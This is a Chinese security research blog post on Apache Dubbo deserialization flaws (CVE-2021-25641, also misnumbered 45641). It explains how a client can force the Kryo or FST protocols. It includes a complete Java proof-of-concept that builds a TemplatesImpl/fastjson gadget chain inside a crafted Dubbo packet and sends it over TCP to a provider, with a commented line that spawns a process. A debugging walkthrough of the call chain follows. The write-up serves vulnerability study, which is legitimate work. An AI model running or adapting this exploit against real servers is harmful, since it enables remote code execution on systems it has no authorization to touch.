Dubbo的反序列化安全问题——kryo和fst


目录

  • 0 前言
  • 1 Dubbo的协议设计
  • 2 Dubbo中的kryo序列化协议触发点
  • 3 Dubbo中的fst序列化协议触发点
    • 3.1 fst复现
    • 3. 2 思路梳理
  • 4 总结

0 前言 本篇是Dubbo反序列化安全问题的学习和研究第二篇,来看看Dubbo2.x下,由于dubbo的数据包协议设计安全问题,导致攻击者可以选定危险的反序列化协议从而实现RCE,复现漏洞为CVE-2021-45641 Apache Dubbo协议绕过漏洞
1 Dubbo的协议设计 由于Dubbo可以支持很多类型的反序列化协议,以满足不同系统对RPC的需求,比如
  • 跨语言的序列化协议:Protostuff,ProtoBuf,Thrift,Avro,MsgPack
  • 针对Java语言的序列化方式:Kryo,FST
  • 基于Json文本形式的反序列化方式:Json、Gson
Dubbo中对支持的协议做了一个编号,每个序列化协议都有一个对应的编号,以便在获取TCP流量后,根据编号选择相应的反序列化方法,因此这就是Dubbo支持这么多序列化协议的秘密,但同时也是危险所在。在org.apache.dubbo.common.serialize.Constants中可见每种序列化协议的编号
Dubbo的反序列化安全问题——kryo和fst
文章图片

而在Dubbo的RPC通信时,对流量的规定最前方为header,而header中通过指定SerializationID,确定客户端和服务提供端通信过程使用的序列化协议。Dubbo通信的具体数据包规定如下图所示
Dubbo的反序列化安全问题——kryo和fst
文章图片

虽然Dubbo的provider默认使用hessian2协议,但我们可以自由的修改SerializationID,选定危险的(反)序列化协议,例如kryo和fst。
2 Dubbo中的kryo序列化协议触发点 先来复现CVE-2021-45641,根据上一篇文章的步骤(https://www.cnblogs.com/bitterz/p/15526206.html),安装zookeeper和dubbo-samples,用idea打开dubbo-samples-api,然后修改其中的pom.xml如下
4.0.0org.example dubbomytestpom 1.0-SNAPSHOT org.apache.maven.plugins maven-compiler-plugin 8 8 1.8 1.8 2.7.6 4.12 0.30.0 1.2.0 3.7.0 2.21.0 ${project.artifactId}:${dubbo.version} openjdk:8 20880 2181 org.apache.dubbo.samples.provider.Application org.apache.dubbo dubbo 2.7.3 org.apache.dubbo dubbo-common 2.7.3 org.apache.dubbo dubbo-dependencies-zookeeper 2.7.3 pom com.rometools rome 1.8.0 junit junit ${junit.version} test

主要是使dubbo版本<=2.7.3,直接上代码,修改自[https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/tree/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit]
package com.bitterz.dubbo; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import org.apache.dubbo.common.io.Bytes; import org.apache.dubbo.common.serialize.Serialization; import org.apache.dubbo.common.serialize.fst.FstObjectOutput; import org.apache.dubbo.common.serialize.fst.FstSerialization; import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput; import org.apache.dubbo.common.serialize.kryo.KryoSerialization; import org.apache.dubbo.common.serialize.ObjectOutput; import org.apache.dubbo.rpc.RpcInvocation; import org.springframework.aop.target.HotSwappableTargetSource; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.OutputStream; import java.io.Serializable; import java.lang.reflect.*; import java.net.Socket; import java.util.HashMap; import java.util.HashSet; public class FstAndKryoGadget { // Customize URL for remote targets public static String DUBBO_HOST_NAME = "localhost"; public static intDUBBO_HOST_PORT = 20880; //Exploit variant - comment to switch exploit variants public static String EXPLOIT_VARIANT = "Kryo"; //public static String EXPLOIT_VARIANT = "FST"; // Magic header from ExchangeCodec protected static final short MAGIC = (short) 0xdabb; protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0]; protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1]; // Message flags from ExchangeCodec protected static final byte FLAG_REQUEST = (byte) 0x80; protected static final byte FLAG_TWOWAY = (byte) 0x40; public static void setAccessible(AccessibleObject member) { // quiet runtime warnings from JDK9+ member.setAccessible(true); }public static Field getField(final Class clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }public static void main(String[] args) throws Exception { // 创建恶意类,用于报错抛出调用链 ClassPool pool = new ClassPool(true); CtClass evilClass = pool.makeClass("EvilClass"); evilClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 让dubbo provider端报错显示调用链,或者弹计算器 evilClass.makeClassInitializer().setBody("new java.io.IOException().printStackTrace(); "); // evilClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\"); "); byte[] evilClassBytes = evilClass.toBytecode(); // 构建templates关键属性,特别是_bytecodes TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilClassBytes}); setFieldValue(templates, "_name", "test"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl()); // Dubbo自带fastJson解析器,且这种情况下会自动调用对象的getter方法,从而触发TemplatesImpl.getOutputProperties() JSONObject jo = new JSONObject(); jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper// 借助Xstring.equals调用到JSON.toString方法 XString x = new XString("HEYO"); Object v1 = new HotSwappableTargetSource(jo); Object v2 = new HotSwappableTargetSource(x); // 取消下面三行注释,增加new hashMap的注释,并将后方objectOutput.writeObject(hashMap)修改为hashSet,从而替换调用链 // HashSet hashSet = new HashSet(); // Field m = getField(HashSet.class, "map"); // HashMap hashMap = (HashMap) m.get(hashSet); HashMap hashMap = new HashMap<>(); // 反射修改hashMap中的属性,让其保存v1 和 v2,避免本地调用hashMap.put触发payload setFieldValue(hashMap, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(hashMap, "table", tbl); // 开始准备字节流 ByteArrayOutputStream bos = new ByteArrayOutputStream(); // 选择FST或者Kryo协议进行序列化 Serialization s; ObjectOutput objectOutput; switch(EXPLOIT_VARIANT) { case "FST": s = new FstSerialization(); objectOutput = new FstObjectOutput(bos); break; case "Kryo": default: s = new KryoSerialization(); objectOutput = new KryoObjectOutput(bos); break; }// 0xc2 is Hessian2 + two-way + Request serialization // Kryo | two-way | Request is 0xc8 on third byte // FST | two-way | Request is 0xc9 on third byte// 组装数据包的头部 byte requestFlags =(byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY); byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs bos.write(header); // 组装数据包的内容 RpcInvocation ri = new RpcInvocation(); ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class}); //ri.setParameterTypesDesc("Ljava/lang/String; [Ljava/lang/String; [Ljava/lang/Object; "); // 需要根据dubbo存在的服务添加 ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}}); // Strings need only satisfy "readUTF" calls until "readObject" is reached // 下面四个随便输入,无所谓 objectOutput.writeUTF("2.0.1"); objectOutput.writeUTF("org.apache.dubbo.demo.DeService"); objectOutput.writeUTF("0.1.0"); objectOutput.writeUTF("sayello"); // 不能随便输入 objectOutput.writeUTF("Ljava/lang/String; "); //*/ // 序列化恶意对象 objectOutput.writeObject(hashMap); objectOutput.writeObject(ri.getAttachments()); objectOutput.flushBuffer(); byte[] payload = bos.toByteArray(); int len = payload.length - header.length; Bytes.int2bytes(len, payload, 12); // 将数据包用十六进制输出 for (int i = 0; i < payload.length; i++) { System.out.print(String.format("%02X", payload[i]) + " "); if ((i + 1) % 8 == 0) System.out.print(" "); if ((i + 1) % 16 == 0 ) System.out.println(); } // 将数据包转换成String输出 System.out.println(); System.out.println(new String(payload)); // 使用TCP发送payload Socket pingSocket = null; OutputStream out = null; try { pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT); out = pingSocket.getOutputStream(); } catch (IOException e) { return; } out.write(payload); out.flush(); out.close(); pingSocket.close(); System.out.println("Sent!"); } }

注释给的比较多了,就不详细展开Templates.getOutputProperties()和fastJson自动调用目标getter方法的部分了(其实用报错的的方法可以在provider端看到全部调用链)。运行代码,攻击dubbo provider后,运行前面的代码new java.io.IOException().printStackTrace(); ,效果如下
Dubbo的反序列化安全问题——kryo和fst
文章图片

从调用链来看,kryo反序列化时,也是针对不同的对象类型使用不同的反序列化器,而MapSerializer中肯定也有和hessian2一样的操作,调用map.put方法,来看看源代码:
  • com.esotericsoftware.kryo.serializers.MapSerializer#read
Dubbo的反序列化安全问题——kryo和fst
文章图片

省略了一部分代码,只关注核心部分,在for循环中,不断反序列化获取key和value,再使用map.put还原对象,而这个map会根据传过来的类型自动创建,也就是说,我们发到provider的HashMap类,在provider中创建了一个空的HashMap对象,也就是这里的map,而后调用HashMap.put方法放入key-value。
在dubbo provider端,给map.put处打断点,进入调试,在map.put处跟进,可见经典的HashMap.put->HashMap.putVal->key.equals(k)(注意此时key和k是HotSwappableTargetSource类的不同实例对象,结合前面的代码,其中key=v2,k=v1,v1.target=XString)
Dubbo的反序列化安全问题——kryo和fst
文章图片

也就是,HotSwappableTargetSource.equals()
Dubbo的反序列化安全问题——kryo和fst
文章图片

由于java中处理&&判断时,如果&&前面的条件结果为false,则不会执行&&符号后面的语句。此时变量other=v1=HotSwappableTargetSource,因此other instanceof HotSwappableTargetSource=true,所以执行&&后面的语句。此时结合前面的代码this=v2,因此this.target=XString("HEYO"),而other.target=jo,因此调用的时XString.equals(jo),跟进XString.equals方法
Dubbo的反序列化安全问题——kryo和fst
文章图片

obj2就是我们构造的代码中的JSONObject对象,此时调用JSONObject.toString()方法,进一步跟进,会调用到toJSONString方法
Dubbo的反序列化安全问题——kryo和fst
文章图片

而fastjson的反序列化过程,会自动调用反序列化目标类的所有getter方法,即调用到TemplatesImpl.getOutputProperties方法,从而造成任意代码执行。
因此kryo序列化协议的危险触发点实际上还是来自于Map类型的反序列化会用到Map.put方法,从而调用到equals、hashCode等方法造成RCE。
3 Dubbo中的fst序列化协议触发点 3.1 fst复现 源代码比较多就不一步一步说了,直接找到org.apache.dubbo.common.serialize.fst.FstObjectInput的readObject方法,跟进其具体实现方法,到达org.nustaq.serialization.FSTObjectInput的readObject方法,再进一步跟进可以看到fst也会根据反序列化对象类型选择反序列化器,并调用该反序列化器的instantiate方法,看下截图中的代码
Dubbo的反序列化安全问题——kryo和fst
文章图片

注意这个FSTObjectSerializer类,这是一个接口,看看它的具体实现有哪些
Dubbo的反序列化安全问题——kryo和fst
文章图片

FST跟前面的kryo、hessian2序列化协议差不多,针对不同的类型,在反序列化时通过不同的反序列化器还原出对象。FST协议对Map显然也用了专门的反序列化器,跟进org.nustaq.serialization.serializers.FSTMapSerializer中的instantiate方法
Dubbo的反序列化安全问题——kryo和fst
文章图片

这代码一看就能抓住重点,for循环中不断反序列化还原出key和value,再用map.put将key和value还原,显然也时HashMap的触发链,我用https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept 中的poc尝试了一下,发现并没有弹出计算器,又从provider端在上方的代码中调试了一下,发现FST处理Templates对象时,会调用其readObject方法进行还原
Dubbo的反序列化安全问题——kryo和fst
文章图片

上面可以看到provider端并没有还原出_bytecodes属性,不知道具体原因是啥,最后FST序列化协议在Dubbo中的漏洞poc没有复现出来。
3. 2 思路梳理 后面仔细了一下CVE-2021-25641提交者写的文章 https://checkmarx.com/blog/the-0xdabb-of-doom-cve-2021-25641/
里面提到还有不需要fastjson的poc,而且可利用版本更多
Dubbo的反序列化安全问题——kryo和fst
文章图片

具体确认了一下,之所以利用有fastjson达到rce,是因为dubbo<=2.7.3时,fastjson的版本<=1.2.46,那扩展一下的话,还能用通用payload打。
图中说的不依赖fastjson的poc攻击版本更多,但作者没有公开这个poc,自己动手挖了一下,没有发现可以在equals、hashCode、toString方法后面继续接的类(排除fastjson的情况下),待日后大佬们出poc的时候再回来补充一下吧
4 总结 CVE-2021-25641这哥漏洞的攻击性挺强的呀,只要找到provider,在2.7.x这么高版本的情况下都能反序列化攻击,但目前看到的poc都依赖fastjson,祈求师傅们分析一下不依赖fastjson的poc学习一下:)
【Dubbo的反序列化安全问题——kryo和fst】dubbo 2.x版本为了满足自动化匹配多种序列化协议,设计了dubbo数据包协议,结果其设计缺乏安全验证,产生了如此危险的漏洞。

    推荐阅读